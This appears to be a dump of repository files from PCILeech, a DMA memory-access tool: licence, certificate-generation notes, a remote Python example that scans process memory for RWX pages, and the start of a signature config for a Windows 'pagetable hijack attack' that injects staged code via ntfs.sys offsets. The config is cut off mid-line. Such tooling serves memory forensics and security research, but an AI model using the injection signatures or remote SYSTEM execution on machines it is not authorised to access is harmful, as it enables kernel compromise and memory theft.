[
  {
    "path": ".gitignore",
    "content": "﻿/.vs\n/files/pcileech\n/files/lib\n/files/temp\n/files/x86/lib\n/files/USB3380Flash\n/files/USB3380Flash_installer\n*.bin\n*.cod\n*.dll\n*.exe\n*.idb\n*.lnk\n*.obj\n*.so\n*.zip\n*.dylib\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "files/Certs/readme.txt",
    "content": "Example commands for generating test certificates used for gRPC mTLS remote connections.\n\nPassword to the .pfx files: test\n\nGenerate with commands:\n\nopenssl req -x509 -newkey rsa:2048 -keyout client-tls.key -out client-tls.crt -days 365 -nodes -subj \"/CN=localhost\"\nopenssl pkcs12 -export -out client-tls.p12 -inkey client-tls.key -in client-tls.crt -password pass:test\n\nopenssl req -x509 -newkey rsa:2048 -keyout server-tls.key -out server-tls.crt -days 365 -nodes -subj \"/CN=localhost\"\nopenssl pkcs12 -export -out server-tls.p12 -inkey server-tls.key -in server-tls.crt -password pass:test\n"
  },
  {
    "path": "files/agent-find-rwx.py",
    "content": "# Example file to demonstrate remote python functionality with the LeechAgent.\n#\n# Example:\n# pcileech.exe -device <device> -remote rpc://<spn or insecure>:host agent-execpy -in agent-find-rwx.py\n#\n# The python script will be executed in a child process to the LeechAgent in\n# the user-context of the LeechAgent. If the agent is running as a service this\n# is most likely SYSTEM. It's also possible to use this functionality to run\n# Python scripts on the remote host without using the memory analysis functionality.\n#\n# Please check out agent installation instructions at:\n# https://github.com/ufrisk/LeechCore/wiki/LeechAgent\n# https://github.com/ufrisk/LeechCore/wiki/LeechAgent_Install\n#\n\n\n#\n# Example to load LeechCore for Python connecting to the memory acqusition device\n# specified in the PCILeech -device parameter. Please uncomment to activate.\n# Guide at: https://github.com/ufrisk/LeechCore/wiki/LeechCore_API_Python\n#\n'''\nimport leechcorepyc\nlc = leechcorepyc.LeechCore('existing')\nprint(lc)\n'''\n\n\n#\n# Example to load MemProcFS for Python connecting to the memory acqusition device\n# specified in the PCILeech -device parameter.\n# For information about MemProcFS Python API please check out the wiki for API\n# usage examples and a youtube demo.\n# https://github.com/ufrisk/MemProcFS/wiki/API_Python\n# \n#\nimport memprocfs\nvmm = memprocfs.Vmm(['-device', 'existingremote'])\nfor process in vmm.process_list():\n    for entry in process.maps.pte():\n        if '-rwx' in entry['flags']:\n            print(str(process.pid) + ': ' + process.name + ': ' + str(entry))\n"
  },
  {
    "path": "files/pcileech.txt",
    "content": "Download the latest binaries from https://github.com/ufrisk/pcileech/releases/latest"
  },
  {
    "path": "files/pcileech_gensig.cfg",
    "content": "# Configuration data for the Windows 8.1/10/2012R2/2016 pagetable hijack signature generator.\n# The signatures for the page table hijack attack requires (8192) two full pages of binary code\n# from Microsoft binaries we hash the required pages and ask the users of PCILeech to extract\n# the required code in order to avoid distributing potentially copyrighted Microsoft binary code.\n#\n# Each line represents a signature and populates a c-struct entry as per below:\n#\n#\t{\n#\t\t.szSignatureInfoDisplay = \"ntfs.sys signed on 2014-10-15 (Windows 8.1 x64)\",\n#\t\t.szFileName = \"win8x64_ntfs_20141015.kmd\",\n#\t\t.szSignatureInfo = \"# ntfs.sys signed on 2014-10-15 (MJ_CREATE)\",\n#\t\t.dwOffset1 = 0xd3000,\n#\t\t.dwOffset2 = 0x4a000,\n#\t\t.szHash1 = \"1ac5c0df47e153480fc49bb3687df84473168bd65b4bb58ab3885f47a6116d1b\",\n#\t\t.szHash2 = \"a65cf907fb5aecb5d2a256b8a49706469025c740a896e3a8d0b27537f6fbbc6f\",\n#\t\t.szSignatureData = \",d3920,DEFAULT_WINX64_STAGE1,4ad80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804a000100210001800a0003800c00018054010100080000001b00018001000000\"\n#\t},\n#\n#\nntfs.sys signed on 2014-10-15 (Windows 8.1 x64);win8x64_ntfs_20141015.kmd;# ntfs.sys signed on 2014-10-15 (MJ_CREATE);0xd3000;0x4a000;1ac5c0df47e153480fc49bb3687df84473168bd65b4bb58ab3885f47a6116d1b;a65cf907fb5aecb5d2a256b8a49706469025c740a896e3a8d0b27537f6fbbc6f;,d3920,DEFAULT_WINX64_STAGE1,4ad80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804a000100210001800a0003800c00018054010100080000001b00018001000000\nntfs.sys signed on 2015-12-30 (Windows 8.1 x64);win8x64_ntfs_20151230.kmd;# ntfs.sys signed on 2016-12-30 (MJ_CREATE);0xd1000;0x49000;65b0b0cf8a508d20cb6906fe4fea9e10a1c4398c4f5c4bbbc366383e06572695;6387547a0a12d5814681f0ed5fc47cd6aa31e8b4428bee8cf18081bb8ab57d67;,d1190,DEFAULT_WINX64_STAGE1,49d80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038049000100200001800a0003800c00018054010100080000001b00018001000000\nntfs.sys signed on 2017-09-09 (Windows 8.1 x64);win8x64_ntfs_20170909.kmd;# ntfs.sys signed on 2017-09-09 (MJ_CREATE);0xd0000;0x49000;a8857d9011802d52075b70854b2f7b83fc05b66e12bf212fbaee97779958afd8;3121c422abd92bba47dba5f660bc72e94b3ee5703857763b1b6498730499bc52;,d0c80,DEFAULT_WINX64_STAGE1,49d80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038049000100210001800a0003800c00018052010100080000001b00018001000000\nntfs.sys signed on 2016-02-23 (Windows 10 x64);win10x64_ntfs_20160223.kmd;# ntfs.sys signed on 2016-02-23 (MJ_CREATE);0xca000;0x4f000;0592b0387ec943697dd0f552564e087c8dd385b25db565ffb11fa6bd1cf10b14;218325e192e8146883054359e984376be0d13486c05d31ab4a23ff834ebb623e;,ca770,DEFAULT_WINX64_STAGE1,4fe38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804f00010023000180080003801400018066010100050000001d00018001000000\nntfs.sys signed on 2015-12-01 (Windows 10 x64);win10x64_ntfs_20151201.kmd;# ntfs.sys signed on 2015-12-01 (MJ_CREATE);0xc5000;0x4d000;3bac25cd0e0cfc45dcb7efa67200e4800ffe8278fd3249a382bd4403f3309756;fcc23d38f37141010e2985cc2c7babc8796c36e85b820d77d5c6b4fe66c6caf0;,c51e0,DEFAULT_WINX64_STAGE1,4dd30,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000\nntfs.sys signed on 2015-07-30 (Windows 10 